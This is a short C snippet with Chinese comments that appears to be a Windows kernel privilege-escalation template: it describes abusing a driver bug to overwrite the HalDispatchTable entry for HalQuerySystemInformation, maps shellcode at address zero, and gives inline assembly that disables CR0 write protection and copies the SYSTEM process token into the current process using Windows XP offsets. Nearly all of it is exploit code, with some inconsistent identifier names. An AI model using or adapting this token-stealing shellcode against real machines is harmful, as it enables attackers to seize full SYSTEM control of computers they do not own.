/*
Shell执行思路:
一般会运用某个驱动的BUG,使得ring3传入的地址指向的代码会被运行
比如:
一个驱动会将传入的地址的内容清0,那么可以将Shellcode拷贝到0x00地址处,然后触发shellcode
在Ring3获取HalDispatchTable表的地址X,X+4即存有函数HalQuerySystemInformation的地址,则利用BUG将此处修改为0,即可触发Shellcode
*/
ULONG uAttr;
NTSTATUS MYShellCode(/*此处是原函数的参数*/)
{
//关闭内核保护
_asm
{
cli
mov eax, cr0;
mov uAttr, eax;
and eax, 0FFFEFFFFh;
mov cr0, eax;
}
//提权到SYSTEM
_asm
{
mov eax,0XFFDFF124
mov eax,[eax];//获取当前线程PETHREAD
mov esi,[eax+0x220];//获取当前所属进程的PEPROCESS
mov eax,esi
searchXP:
mov eax,[eax+0x88]
sub eax,0x88;//获取进程链表中的下一个PEPROCESS
mov edx,[eax+0x84]
cmp edx,0x4
jne searchXP
mov eax,[eax+0xc8];//获取SYSTEM进程的TOKEN
mov [esi+0xc8],eax
}//修改当前进程的TOKEN
//开启内核保护
_asm
{
sti
mov eax, uAttr;
mov cr0, eax;
}
return 0;
}
/*
在0x0处申请一段内存,并写入ring0 shellcode
*/
ShellcodeAddress=(PVOID)sizeof(ULONG);
status=ZwAllocateVirtualMemory(NtCurrentProcess(),&ShellCodeAddress,0,MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN,PAGE_EXECUTE_READWRITE);
if(status)
return;
RtlMoveMemory(ShellCodeAddress,(PVOID)MyShellCode,ShellCodeSize);